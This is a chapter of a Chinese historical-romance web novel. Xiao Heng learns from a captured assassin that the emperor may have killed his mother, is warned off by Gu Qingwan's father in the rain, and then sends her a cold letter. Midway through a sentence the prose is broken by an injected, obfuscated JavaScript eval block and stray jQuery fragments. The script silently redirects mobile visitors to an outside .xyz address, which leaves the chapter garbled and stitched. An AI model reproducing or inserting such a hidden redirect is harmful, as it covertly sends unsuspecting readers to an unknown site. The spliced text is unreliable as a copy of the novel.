48. 疏离(1)

作品:《青梅谋

    “回去?”萧珩挑眉,嘴角勾起一抹玩味的笑意:“回去做什么?去河西当纨绔?”


    “回去掌军权。”


    青锋嘶吼道:“河西铁骑,天下骁锐。萧家军统帅,才该是你的位置,只要你与我们合作,河西军权唾手可得。届时,你不再是任人拿捏的质子,而是手握重兵的萧家少主。这京都,这天下,谁还敢轻看你半分?”


    “合作?”萧珩像是听到了天大的笑话,鄙夷道:“与你们一群藏头露尾的鼠辈合作?掌河西军权,然后做你们手中的刀?呵……”


    “玄英。”萧珩瞥了他一眼,“他既不肯说,撬开他的嘴。”


    “是!”玄英从旁边浸着盐水的木桶中,拎起一根布满倒刺的皮鞭。


    青锋看着那逼近的皮鞭,又看向萧珩转身欲走的背影,喊道:“萧珩,你难道真以为你母亲是难产而死吗?她是被害死的。”


    “轰——”


    萧珩的脚步,硬生生钉在了原地。


    玄英扬起的鞭子停在了半空,齐武和林羽更是瞪大了眼睛。


    十三年前,乐阳长公主于生产时难产而亡,一尸两命,这是举国皆知、记载在册的事实。


    这也是萧珩心中无法愈合的伤疤。


    长公主是……被害死的?


    萧珩紧握双拳,猛然转过身,快步走上前,一脚蹬在青锋受伤的肩胛处。


    “你……说什么?”萧珩怒问道,“再说一遍!”


    青锋吐了口血,嘴角咧着笑,一字一顿:


    “你母亲是被害死的,凶手就是皇帝,你的亲舅舅。”


    “轰隆——!!!”


    此时,正好一声惊雷从地牢上方传来。


    这怎么可能?


    “一派胡言!”萧珩收回脚,踉跄着后退了半步。


    “胡言?”青锋深吸了口气,嘲笑道:“萧珩,你醒醒吧。你母亲乐阳长公主,少时征战沙场,英姿飒爽,是巾帼英雄。她手中握着的,是民心,是军心。太后还把她嫁给了手握重兵的萧屹,陛下他……他坐得稳那把龙椅吗?他怎能不忌惮?”


    他身体前倾,想挣扎却被封了穴道,动弹不得,嘴里却不断控诉:


    “即便长公主嫁人后收敛锋芒,相夫教子,可圣心难测啊。”


    “明德八年,北狄大举犯境,满朝文武噤若寒蝉,皇帝他竟……竟想割地求和,换一时苟安,这是众所皆知的,不信你去查。”


    “当时你母亲身怀六甲,拖着沉重的身子,跪在御书房外整整一日,只为劝谏陛下,保我大熙疆土。”


    青锋死死盯着萧珩,激动道:“可她的忠勇,她的坚持,在皇帝眼里是什么?是威胁,是逼宫,是让他这个天子颜面扫地的耻辱。一个手握民心军心、又敢在国难当头忤逆圣意的长公主……他,能容得下吗?”


    萧珩一拳砸在旁边的石壁上,鲜红的血顺着石壁缓缓流下,也唤醒了萧珩关于母亲零星的记忆……


    那夜,年仅五岁的他被乳母死死抱在偏殿,隔绝了正殿里母亲撕心裂肺的声音。


    当时的他在乳母怀里挣扎、哭喊,却挣不脱那铁箍般的臂膀。


    他记得谢姨苍白着脸冲进偏殿,用力抱紧他,颤抖的抚摸着他后背,哽咽道:“珩哥儿不怕……不怕……”可她的眼泪,砸在他的颈窝里,烫得他心慌。


    最终,殿内一片死寂,只有外面瓢泼的雨声,敲打着琉璃瓦,如同丧钟……


    “证据!”


    他怒吼:“我要实证,空口白牙就想污蔑一国之君?”


    青锋缓缓摇头:“证据?深宫秘事,皇帝亲为,岂会留下实证?但萧世子,你心里……难道就不怀疑吗?当年你父亲为何将你匆匆带回河西?当年产房里的太医、稳婆,事后为何死的死,散的散?长公主身边的旧人,为何这些年销声匿迹?”


    他顿了顿,诱惑道:“不过只要你答应合作,放我走。关于长公主之死的所有蛛丝马迹和证人下落,我主人都会双手奉上,让你能亲手……为母报仇。”


    “你做梦!”萧珩冷道。


    他不再多说一句,转身离去,也不理会身后玄英等人焦急担忧的呼唤,大步冲出了地牢,冲进了不知何时已下起雨的夜色。


    冰凉的雨水,打在萧珩的脸上、身上,他却浑然不觉。


    他不知道自己是怎么离开武馆的,也不知道自己狂奔了多久。


    雨水混合着泪水,冲刷着他滚烫的脸颊和暴起的青筋。


    如果……如果真是那个高高在上的皇帝……


    那他就算拼尽一切,掀了这大熙王朝,踏碎这锦绣河山,也要将他拖下龙椅,挫骨扬灰,为母亲报仇。


    就在这时,他猛地停下脚步。


    雨水虽模糊了他的视线,他也认出了眼前的地方,他竟然……浑浑噩噩的跑到了何园。


    他就这样孤零零地站在院中,顾清妧房间的灯早已熄灭,可他好想见见她……


    然而,一股刺痛攫住了萧珩的心,逼退了他想前行的脚步。


    不行!


    如果那指控是真的……


    如果他注定要踏上一条弑君复仇的不归路……


    那前方就是万丈深渊,是无尽的腥风血雨,他怎么能把顾清妧拖进来?


    她是顾家最璀璨的明珠,是京都的名门闺秀。


    她的世界应该充满阳光和安宁,而不是他带来的阴谋、杀戮和仇恨。


    他不能连累她,一丝一毫都不可以。


    最终,他贪婪地看了眼那扇紧闭的窗棂,自嘲一笑:“原本还想着能……慢慢来……还好,你不喜欢我。”


    可就在他转身的刹那,一道身影,悄然出现在何园门口。


    那人撑着一把油纸伞,伞沿压得很低,遮住了大半面容,只露出冷硬的下颌和紧抿的薄唇。


    顾廷筠一袭深色常服,下摆已被雨水打湿。隔着雨幕,那双深邃眼眸,如同寒潭古井,冷冷地看向萧珩。


    萧珩缓步上前,拱手见礼:“顾伯父。”雨水打在他左手上,变成血水从指缝流出。


    顾廷筠瞥了眼他流血的手,没当回事。


    毕竟打架斗殴对他来说是家常便饭。


    “我这何园的院墙,”顾廷筠微抬伞沿,声音不高:“便是砌得再高,也挡不住世子这般来去自如。”


    雨水顺着萧珩额前


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463043|184632||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的发丝不断滚落,滑过紧抿的唇和紧绷的下颌线,最后没入衣领。


    他抬手,随意地抹了一把脸。


    顾廷筠的目光扫过他狼狈的样子,伞下的手微微收紧,沉吟道:“顾家小门小户,养不起金凤凰。更攀不起未来的萧家家主。您的世子妃,是谁都好,”他刻意停顿,加重了语气,“但绝无可能是妧儿。”


    雨声似乎在这一刻变得更大,噼啪作响。


    萧珩的肩膀绷紧了一瞬。


    若是往日,听到这般刺耳的话,哪怕是顾清妧的父亲,他也定会怼回去。


    但此刻,他没有任何辩驳。


    顾廷筠看着他反常的沉默,眉头微微蹙了一下。


    良久,顾廷筠的声音再次响起,不容置疑地道:“你若为她好,就离她远些。”


    萧珩垂在身侧的手,指尖微微蜷缩,又缓缓松开,嘴角轻微地向上扯动了一下。


    他没有再停留,转身离去,湿透的衣袍带起一阵冷风。靴子重重踏入积水,溅起大片浑浊的水花。


    片刻后,身影已消失无踪。


    顾廷筠撑着伞,站在原地未动,目光投向萧珩消失的方向,沉沉的叹了口气。


    雨,依旧下个不停。


    屋内,顾清妧额间冒着细汗,眉头紧锁。


    梦境里,她看见萧珩单膝跪在泥泞里,手中紧紧握着一杆长枪,那枪身的轮廓,竟像极了她画出的图纸。


    冰冷的雨水混着猩红的液体,他周身插满了折断的箭矢和刀剑,他抬起头,那双总带着笑意的眼睛里,只剩下无尽的空洞和死寂……


    “不——”


    顾清妧猛然从床上弹坐起来,大口大口地喘着气。


    她看了眼外间熟睡的知夏,掀开锦被,赤足踩在地板上,几步走到窗边,推开半扇窗。


    带着湿意的夜风扑面而来,让她稍稍清醒。


    是梦……只是一个噩梦……


    她这样告诉自己,手指却无意识地攥紧了窗棂。


    几日的雨水洗净了天空,阳光透过窗棂洒进来……


    顾清妧正坐在临窗的绣墩上看书。


    云岫掀起珠帘进来,低声道:“姑娘,大公子来了。”


    顾明澈今日一身月白常服,神色却比平日多了几分凝重,手中捏着一封未曾封口的信。


    “妹妹,”顾明澈走近,将信递给她,“萧珩给你的。”


    顾清妧放下书册,接过信,展开信纸,目光快速扫过字句。


    信的内容很简洁,可以说是公事公办的口吻。


    大意是:“青锋去刺杀他,没得逞,被他所擒,但青锋嘴硬的很,只字不提。”


    最后一句,青鸾势力牵扯甚广,勿再深究。


    顾清妧的眉头微微蹙起。


    青锋落网是好事,但这封信的语气……与往日不同,太过疏离。字里行间也透着一种不容置喙的强硬,让她隐隐觉得哪里不对。


    他为何不明说?又为何不来亲口告诉她?


    以他的性子,该得意洋洋地跑来炫耀、顺便讨要点好处才是。


    她折起信纸,指腹在纸页边缘捻了捻,“他……人呢?”